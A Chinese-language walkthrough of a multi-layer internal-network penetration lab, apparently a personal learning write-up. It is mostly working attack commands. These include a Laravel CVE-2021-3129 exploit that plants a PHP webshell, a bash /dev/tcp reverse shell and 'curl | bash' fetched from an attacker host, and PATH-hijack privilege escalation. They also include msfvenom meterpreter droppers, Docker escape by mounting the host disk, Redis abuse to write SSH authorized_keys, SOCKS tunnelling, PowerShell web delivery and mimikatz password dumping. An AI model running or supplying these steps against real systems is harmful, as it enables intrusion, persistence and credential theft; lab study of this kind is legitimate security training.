搭建
1 2 3 4 5 6 7 8 9 10 11 12 13 环境搭建: DMZ区的 Ubuntu 需要启动redis和nginx服务(经过后面的心酸,这里的redis得用root权限启动): sudo su redis-server /etc/redis.conf /usr/sbin/nginx -c /etc/nginx/nginx.conf iptables -F ps -ef | grep nginx 第二层网络的 Ubuntu需要启动docker容器(仍然需要root): sudo su service docker start docker start 8e172820ac78 第二层网络的 Windows 7 (PC 1)需要启动通达OA (这个得用administrator启动哦,并且要关闭防火墙): C:\MYOA\bin\AutoConfig.exe
先信息收集 扫描存活 arp-scan -l 端口扫描 nmap -T4 -A 173.16.1.7 22的ssh 80的nginx 81的Laravel 6379的redis 自己都写了php的框架,只要是这种,基本都是利用框架本身的漏洞, 上传webshell或者RCE反弹shell 漏洞检测脚本 https://github.com/zhzyker/CVE-2021-3129 执行命令脚本 https://github.com/crisprss/Laravel_CVE-2021-3129_EXP
python3 cve-2021-3129.py “system(‘uname -a’);”
1 利用脚本写一个whoami 的一句话,前提是要有phpggc python3 cve-2021-3129.py "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
换了个利用方式 首先使用 phpggc工具生成一条laravel中存在的反序列化利用POC(经过编码后的)
1 php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
发三个数据包,改exp为一句话,蚁剑连接
1 2 3 4 webshell拿到,权限极低,执行不了什么命令, docker环境, 搜索具有SUID或4000权限的文件: find / -perm -u=s -type f 2>/dev/null
1 2 3 4 一篇文章用的蚁剑插件,,一直转圈圈,算了,用curl反弹 kali上写个shell.sh,再开个Web服务 bash -i >& /dev/tcp/192.168.31.96/6666 0>&1 python -m SimpleHTTPServer 80
1 2 3 4 在蚁剑命令执行,看能不能访问 curl 192.168.31.96/shell.sh 可以看到的话,直接执行 curl 192.168.31.96/shell.sh | bash 弹回来了
提权 开始提权,写恶意ps命令,ps内容/bin/bash就是进入命令行,然后修改环境变量,这样shell.sh就找到了tmp下的ps命令,然后以shell的root执行了ps, 也就是以root进入了命令行 这个方式vulnhub也经常有吧,叫做环境变量劫持
1 2 3 4 5 6 cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH
1 2 3 4 5 生成一个msf马 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=173.16.1.8 LPORT=6667 -f elf > shell.elf 用wget把马下载下来,没有wget就apt-get wget下一个,权限高,为所欲为 wget 173.16.1.8/shell.elf
下载下来一方监听一方执行就上线了
docker逃逸 1 2 3 4 5 6 7 8 9 10 用前面的老办法 msf进入shell 创建目录用于挂载 mkdir /weizi 将/dev/sda1挂载到/weizi目录里 ls /dev mount /dev/sda1 /weizi ls /weizi 看一下隐藏文件 ls /weizi/home ls -alh /weizi/home/ubuntu
1 2 3 4 5 kali 本地生成ssh密钥 ssh-keygen -f weizi chmod 600 weizi cat weizi.pub vim key.sh
1 2 3 4 5 cp -avx /weizi/home/ubuntu/.ssh/id_rsa.pub /weizi/home/ubuntu/.ssh/authorized_keys echo '' > /weizi/home/ubuntu/.ssh/authorized_keys cat /weizi/home/ubuntu/.ssh/authorized_keys
1 创建好后,wget下载下来 cd /tmp wget http://192.168.31.96/key.sh chmod 777 key.sh ./key.sh ls -alh /weizi/home/ubuntu/.ssh cat /weizi/home/ubuntu/.ssh/authorized_keys
ssh -i weizi ubuntu@192.168.31.132 发现连不了,还是要密码。。
redis未授权 1 2 3 4 5 6 安装redis-cli工具 wget http://download.redis.io/redis-stable.tar.gz tar -zxvf redis-stable.tar.gz cd redis-stable make //全局生效 > cp src/redis-cli /usr/bin/
redis-cli -h 173.16.1.7
既然有了redis,直接用redis写ssh免密登录,
1 2 3 4 5 6 7 8 9 10 生成ssh公钥 ssh-keygen -t rsa 将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里: (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h 192.168.1.5 -x set xxx redis开始表演,进入redis命令行将公钥写入(这里redis要是不用root启,就不行) config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/ config set dbfilename authorized_keys # 设置保存文件名为authorized_keys save # 将数据保存在目标服务器硬盘上
1 分析docker逃逸失败 前面docker逃逸失败的原因,我们攻击的是192.168.1.5(记A) 他的81端口,拿到一个shell,这个shell是docker的(记B1),本以为docker的宿主机(B1)就是A 就用docker逃逸的方法想拿到宿主机,发现连不上,实际上,B1的宿主机是B,B应该还是另外一台内网,我ssh公钥就算改了B的,我连的IP都是A,连毛啊?可不得失败吗, 现在看来,这个B很有可能是52段的服务器也就是说A上的nginx代理到了B中dockerB1,我们拿到了B1!
1 2 3 4 也就是说前面docker逃逸的密钥写到了B主机,可以直接拿生成的私钥hack传到192.168.1.5 然后去ssh连接B主机, wget http://192.168.1.6/hack chmod 700 hack ssh -i hack ubuntu@192.168.52.20 发现一个93网段,
1 2 3 4 5 6 7 8 9 10 11 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=6669 -f elf > ubuntu.elf use exploit/multi/handler set lhost 0.0.0.0 set lport 6669 set payload linux/x86/meterpreter/reverse_tcp run wget http://192.168.1.6/ubuntu.elf chmod 777 ubuntu.elf nohup ./ubuntu.elf & 成功上线
配代理
1 2 3 4 5 kali本机执行 nohup ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 & vim /etc/proxychains4.conf socks5 127.0.0.1 1080
1 2 3 4 5 192.168.52.20的机器进shell 执行 nohup ./ew_for_linux64 -s rssocks -d 192.168.31.96 -e 1234 &
sockscap设置好,打开192.168.52.30:8080 通达oa
1 上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。 成功获取到了shell
1 2 3 4 5 6 7 msf powershell投递上线 use exploit/multi/script/web_delivery set target 2 set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.31.96 set lport 5555 run
shell 进去一套信息收集
横向渗透 迁移到64位进程上,然后抓取密码
1 2 3 4 5 6 7 8 load kiwi kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonPasswords ps migrate pid号 找个64位的进程迁移进去